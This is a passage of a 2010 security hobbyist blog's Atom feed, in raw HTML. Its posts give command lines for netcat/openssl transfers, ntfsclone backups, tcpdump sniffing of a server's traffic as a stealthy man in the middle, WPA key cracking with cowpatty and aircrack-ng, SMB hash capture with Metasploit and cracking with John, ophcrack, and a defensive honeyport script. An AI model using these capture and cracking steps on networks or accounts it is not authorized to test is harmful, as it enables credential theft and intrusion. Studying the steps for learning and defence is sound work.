80&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;Server:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# nc -lvp 80 | openssl enc -aes128 -d -nosalt -pass pass:mypass -out file.txt &lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4630961671684975716?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4630961671684975716/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/09/using-netcat-and-symmetric-algo-aes-or.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4630961671684975716'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4630961671684975716'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/09/using-netcat-and-symmetric-algo-aes-or.html' title='Using Netcat and a symmetric algo (AES or 3DES) for secure commnuications'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-797583973466005834</id><published>2010-08-31T19:21:00.000-07:00</published><updated>2011-02-10T06:32:21.231-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ntfsclone'/><title type='text'>Ntfsclone, Backup/Restore ntfs partitions</title><content type='html'>So i did a fresh install of xp and installed a couple apps and wanted to make an appropriate backup image using linux. Being the Backtrack user that i am, the popular choice of backup/imaging known to me at the time were the programs dd or partimage. For my purposes, dd would'nt be a valid choice as it will back up used space as well as unused space, so i was left with partimage.&lt;br /&gt;&lt;br /&gt;Partimage is a great program, but support for ntfs file systems were experimental. However, i proceeded to try it out and all went fine, the backup was succesful. However, i didn't want to risk trying a restore and lose everything on that partition (as docs said the support for ntfs was experimental). I then turned to google to find a reasonable alterative.&lt;br /&gt;&lt;br /&gt;A few minutes after, i learned of ntfsclone (and its already installed on backtrack 4 as well). Ntfsclone will do as the name says, clone ntfs drives. You can clone to an image file, disk or stdout (useful for piping to programs like split, gzip, bzip etc) . It had the major feature i was looking for that was also present in partimage; the ability to backup only the used blocks of data on the partition and not the entire partition itself. Actually, it backs up the used space on the partition and fills the rest of the image with zero's which makes for easy compression.&lt;br /&gt;&lt;br /&gt;Usage is quite simple&lt;br /&gt;&lt;br /&gt;To make clone of partition 1 on device sda&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# ntfsclone --save-image -o /mnt/usb/disk.img /dev/sda1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To restore image&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# ntfsclone --restore-image -O /dev/sda1 /mnt/usb/disk.img&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//note we are using the capital O in the options to overite the destination /dev/sda1 if existing&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Because of the file size limit (4G) on fat32 formatted disks, if you are cloning any drive bigger than four gigs and wanted to copy the saved image to a fat 32 disk, you will therefore run into issues. To overcome this, the following commands can be utilized.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# ntfsclone --save-image -o - /dev/sda1 | split -d -b 1000m - XPSP2.img_&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// the '-' will cause ntfsclone to output to standard out. The split utility will split the data every 1000 megabytes (1 gig) from its standard in '-' and output to files with the prefix XPSP2.img_ and because of the '-d' option, numbers will be appended to the individual files. Example: XPSP2.img_01, XPSP2.img_02, XPSP2.img_03.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just something important to note, taking from the article &lt;span style="color: rgb(255, 102, 0);"&gt;&lt;a href="http://www.linux-ntfs.org/doku.php?id=ntfsclone"&gt;here&lt;/a&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;blockquote&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;If you want to copy, move or restore a system or boot&lt;br /&gt;partition to another computer, or to a different disk or partition (e.g.&lt;br /&gt;hda1→hda2, hda1→hdb1 or to different disk sector offset) then you will need to&lt;br /&gt;take extra care.&lt;br /&gt;&lt;br /&gt;Usually, Windows will not be able to boot, unless you&lt;br /&gt;copy, move or restore NTFS to the same partition which starts at the same sector&lt;br /&gt;on the same type of disk having the same BIOS legacy cylinder setting as the&lt;br /&gt;original partition and disk had.&lt;br /&gt;&lt;br /&gt;The ntfsclone utility guarantees to&lt;br /&gt;make an exact copy of NTFS but it will never deal with booting issues. This is&lt;br /&gt;by design: ntfsclone is a filesystem, not system utility. Its aim is only to&lt;br /&gt;clone NTFS, not to clone Windows. Therefore ntfsclone can be used as a very fast&lt;br /&gt;and absolutely reliable building block for Windows cloning, but itself it's not&lt;br /&gt;enough.&lt;/span&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;a href="http://www.linux-ntfs.org/doku.php?id=ntfsclone"&gt;http://www.linux-ntfs.org/doku.php?id=ntfsclone&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-797583973466005834?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/797583973466005834/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/08/ntfsclone-backuprestore-ntfs-partitions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/797583973466005834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/797583973466005834'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/08/ntfsclone-backuprestore-ntfs-partitions.html' title='Ntfsclone, Backup/Restore ntfs partitions'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5396139092822118094</id><published>2010-08-27T05:47:00.000-07:00</published><updated>2010-08-27T12:08:03.350-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tcpdump'/><title type='text'>Advanced tcpdump Kung-Fu</title><content type='html'>So i was messing with tcpdump again and needed a quick refresher on filters. I went back to one of my blog posts and some other resources i found on google and quickly got up to speed. I wanted to take things a little it further however and looked to get creative.&lt;br /&gt;&lt;br /&gt;I started out by filtering icmp packets. I wanted to only see ping request packets coming to me. So i created the filter as follows:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="color:#ff6600;"&gt;# tcpdump -ni eth0 'icmp and (icmp[0] = 0x08)'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I then only wanted to extract the ip address of the host sending those icmp requests&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="color:#ff6600;"&gt;# tcpdump -lni eth0 'icmp and (icmp[0] = 0x08)' cut -d " " -f 3&lt;/span&gt; &lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;//Note that the '-l' option must be included to make stdout line buffered&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;With this information, i imagined taking things a lil further. What i then wanted to do was to block any machine that was sending icmp echo requests. I then remembered that honeyport script that was in a recent pauldotcom segment (I also blogged about it recently as well. Its really kool).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So the script went like this:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#33cc00;"&gt;while [ 1 ];&lt;br /&gt;do IP=`tcpdump -c 1 -lni eth0 'icmp and (icmp[0] = 0x08)' cut -d " " -f 3`;&lt;br /&gt;echo -e "\n${IP} is pinging you.";&lt;br /&gt;echo -e "Blocking IP: ${IP}";&lt;br /&gt;iptables -A INPUT -p tcp -s${IP} -j DROP;&lt;br /&gt;iptables -A INPUT -p icmp --icmp-type 8 -s ${IP} -j DROP &amp;amp;&amp;amp; echo -e "Blocked...\n";&lt;br /&gt;done&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Then give the script file executable rights then let her rip. &lt;/span&gt;&lt;span style="color:#33cc00;"&gt;&lt;span style="font-size:0;"&gt;&lt;span style="font-size:0;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;The next small project i did was filtering out traffic coming from the server, but only the data that has the tcp flags PUSH or ACK set. I was using the edna music server for demonstration purposes and it defaults to port 8080.&lt;br /&gt;&lt;br /&gt;So in one terminal i had my tcpdump sniffer set up like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="color:#ff6600;"&gt;# tcpdump -w dump.pcap -s0 -ni eth0 'tcp adn src port 8080 and ((tcp[13] = 0x18) or (tcp[13] = 0x10))'&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So the idea behind this is that when a client connects, request a song and streams it, i can be the man in the middle just pulling the data that is sent back to the client in a stealthy manner. When you're finished with your sniffing session you can combine some command line tools to retrieve your data&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;# tcpflow -C -r dump.pcap strings grep "Content-Type" cut -d " " -f 2 sort&lt;/span&gt; &lt;span style="color:#33ffff;"&gt;//this gives you a list of the content types that were sent to the client. Note that -C prevents tcpflow from outputting the different streams into files, instead just displays the data on standard out.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;# tcpflow -C -r dump.pcap more -d&lt;/span&gt; &lt;span style="color:#33ffff;"&gt;// after you issue this command you can hit the h key to get helpfull commands. The "/" is a common option used when you want to do regex searches through the data&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#33ffff;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Just another kool thing you can do on the fly to see the URLs that are being requested&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;# tcpdump -lni eth0 'dst port 53'cut -d " " -f 8&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you wanted the ip addresses of the clients as well, you can have another tcpdump window running simultaniously along with the above (Have then running side by side, line by line so interpretation is more efficient)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;# tcpdump -lni eth0 'dst port 53' cut -d " " -f 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:0;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:0;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5396139092822118094?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5396139092822118094/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/08/advanced-tcpdump-kung-fu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5396139092822118094'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5396139092822118094'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/08/advanced-tcpdump-kung-fu.html' title='Advanced tcpdump Kung-Fu'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-431889114465162686</id><published>2010-08-18T10:19:00.000-07:00</published><updated>2010-08-27T08:41:08.703-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rainbowtables'/><category scheme='http://www.blogger.com/atom/ns#' term='aircrack-ng'/><category scheme='http://www.blogger.com/atom/ns#' term='Cowpatty'/><title type='text'>WPA rainbow tables with cowpatty and aircrack-ng suite</title><content type='html'>No introduction necessary. If you do not know what a rainbow table is then you will just have to use google or read some of my previous posts. &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;[using cowpatty suite]&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt;&lt;span style="color:#ff6600;"&gt;# ./ genpmk -f wordlist.lst -d hash_tables.lst -s "linksys"&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;//Generates a salted rainbow table using the wordlist file and the ssid name "linksys"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt;&lt;span style="color:#ff6600;"&gt;# ./cowpatty -d hash_tables.lst -s "linksys" -r wpa.pcap&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;//command to crack the WPA key using the rainbowtable and the pcap file&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;[using aircrack-ng suite]&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt;&lt;span style="color:#ff6600;"&gt;# airolib-ng table.db --import essid ssids.lst&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;// creates a new database and imports the ssids to be used as salts&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt;&lt;span style="color:#ff6600;"&gt;# airolib-ng table.db --import passwd wordlist.lst&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;//imports the wordlist/passwords into the database&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt;&lt;span style="color:#ff6600;"&gt;# airolib-ng table.db --batch&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;//performs all the necessary processing of the essid and password combination &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff6600;"&gt;# airolib-ng table.db --verify&lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt; //verifies the integrity of the ssid/password pairs&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt;&lt;span style="color:#ff6600;"&gt;# aircrack-ng -r table.db wpa.pcap&lt;/span&gt;  &lt;/span&gt;&lt;span style="COLOR: rgb(51,255,255)" class="Apple-style-span"&gt;//command to crack the WPA key using the rainbowtable and the pcap file&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-431889114465162686?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/431889114465162686/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/08/wpa-rainbow-tables-with-cowpatty-and.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/431889114465162686'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/431889114465162686'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/08/wpa-rainbow-tables-with-cowpatty-and.html' title='WPA rainbow tables with cowpatty and aircrack-ng suite'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-3342576743269903559</id><published>2010-08-16T05:34:00.000-07:00</published><updated>2010-10-20T07:07:31.225-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='halflm'/><category scheme='http://www.blogger.com/atom/ns#' term='john-the-ripper'/><title type='text'>Cracking challenge and response lm/ntlm hashes</title><content type='html'>The Challenge and response hashes that i'll be cracking occur over protocols such as SMB/CIFS on Windows systems. When a user tries to access a remote share, he must first try to authenticate with that remote system. The client says "hello, i would like to communicate with you"; the server responds with a challenge which composes of random data; the client then takes this challenge and uses it to encode its user's lm/ntlm hash then sends the results back to the server; The server then uses the same random challenge and the response sent back by the client to derive the lm/ntlm hash of the user then compares this to its SAM database to see if this user is a valid user on the server. &lt;div&gt;&lt;br /&gt;&lt;div&gt;The server portion of such a system can be modified to respond with a static challenge instead of issuing a random challenge for every client request. By doing so, cracking via rainbow tables becomes favorable and wordlist/bruteforce attacks become viable as well. Because of the use of random challenges per client request to the server, cracking became very difficult as the challenge had to be known and then be incorperated into the cracking program. Having a static challenge thus solves this difficulty.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;More information can be found on google and &lt;a href="http://www.foofus.net/?page_id=63"&gt;here&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Metasploit can be used to capture these hashes and John the ripper can be used to crack them&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff6600;"&gt;[metasploit]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;# msfconsole&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;msf&gt; use auxilliary/server/capture/smb&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;msf auxilliary(smb)&gt; run&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff6600;"&gt;[John]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;# ./john --format=netlm --wordlist=passwords.lst halmlmhashes.txt&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:+0;"&gt;&lt;span style="font-size:+0;"&gt;The challenge and response hashes must be saved in the following format to be suitable for cracking using john:&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt;&lt;br /&gt; &lt;/div&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff6600;"&gt;&lt;span style="color:#33ffff;"&gt;user:::LM_HASH:NT_HASH:STATIC_CHALLENGE&lt;br /&gt;Example:&lt;br /&gt;admin:::A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:1122334455667788&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:0;"&gt;&lt;span style="font-size:0;"&gt;&lt;span class="Apple-style-span"  style="color:#ff6600;"&gt;Reesources/Good Reading:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#ff0000;"&gt;&lt;a href="http://www.foofus.net/?page_id=63"&gt;http://www.foofus.net/?page_id=63&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-3342576743269903559?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/3342576743269903559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/08/cracking-challenge-and-response-lmntlm.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3342576743269903559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3342576743269903559'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/08/cracking-challenge-and-response-lmntlm.html' title='Cracking challenge and response lm/ntlm hashes'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-1473413343675927735</id><published>2010-08-09T16:58:00.000-07:00</published><updated>2010-08-09T17:22:23.937-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Honeyport'/><title type='text'>Honeyport script</title><content type='html'>I was listening to a pauldotcom podcast (see &lt;a href="http://www.pauldotcom.com/"&gt;www.pauldotcom.com&lt;/a&gt;), episode 204 and they had a very interesting tech segment called Honeyports on linux (see episode 203 as well for honeyports on windows). The basic idea behind this is the block a potential malicious person via his ip address from accessing your system. This can also work in some situations where an attacker is performing a TCP scan of your machine that actually goes through the entire 3 way TCP handshake and by doing so, trigger our Honeyport script and automatically add a firewall rule to restrict that IP address from further establishing any TCP communication to our machine.&lt;br /&gt;&lt;br /&gt;The script is also very simple and elegant.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;while [ 1 ] ;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;echo "started" ;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;do IP=`nc -v -l -p 2222 2&gt;&amp;amp;1 1&gt; /dev/null | grep from | cut -d[ -f 3 | cut -d] -f 1`;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;iptables -A INPUT -p tcp -s ${IP} -j DROP ;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;done&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Good Stuff from John Strand and the pauldotcom crew for comming up with something so simple, yet so elegant and usefull.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Resources/Good Reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://pauldotcom.com/wiki/index.php/Episode204&lt;/span&gt;&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-1473413343675927735?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/1473413343675927735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/08/honeyport-script.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1473413343675927735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1473413343675927735'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/08/honeyport-script.html' title='Honeyport script'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-8468586815571811963</id><published>2010-08-08T12:10:00.000-07:00</published><updated>2010-08-08T12:27:25.006-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ophcrack'/><title type='text'>Using Ophcrack from da command line</title><content type='html'>First off, you need some rainbow tables (Get the ophcrack tables to avoid compatibility issues) from &lt;a href="http://ophcrack.sourceforge.net/tables.php"&gt;http://ophcrack.sourceforge.net/tables.php.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can also get the ophcrack program from that site as well.&lt;br /&gt;I will be using BT4 which already has the ophcrack preinstalled.&lt;br /&gt;&lt;br /&gt;unzip the rainbowtables into a folder.&lt;br /&gt;Note: This here assumes you have your password hashes in the proper format as well. Programs such as pwdump6 and fgdump are good ones that produce compatible output for use with ophcrack.&lt;br /&gt;&lt;br /&gt;command:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ophcrack -g -d path_to_rainbow_tables_dir/ -t  path_to_rainbow_tables_dir/ -n 4 -f hashes.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-d' - Path to rainbow tables&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-g' - do no run the GUI interface&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-t' - specify which table to use. Just putting the dir path to the table works for me&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-n' - number of threads to use&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-f' - path to hashes file obtained from programs like fgdump or pwdump&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Of course you can always use the GUI by just typing 'ophcrack' from the command line.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-8468586815571811963?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/8468586815571811963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/08/using-ophcrack-from-da-command-line.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8468586815571811963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8468586815571811963'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/08/using-ophcrack-from-da-command-line.html' title='Using Ophcrack from da command line'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4331762613849128554</id><published>2010-08-06T05:53:00.000-07:00</published><updated>2010-08-06T06:29:37.208-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hashcat'/><title type='text'>Hashcat</title><content type='html'>Have those hashes and wanna crack em faster than any other open source password cracker out there? You would definitely want to take this tool for a spin. This tool is very comparable to John the ripper with a number of supported hashing algorithms and word mangling rules that you can throw at it. For more info, check out the authors website at http://hashcat.net.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;You can generate your own hashes to crack&lt;/b&gt;: &lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;# echo -n "password" | openssl md5 &gt; hash.txt&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To crack SHA1 hashes using a 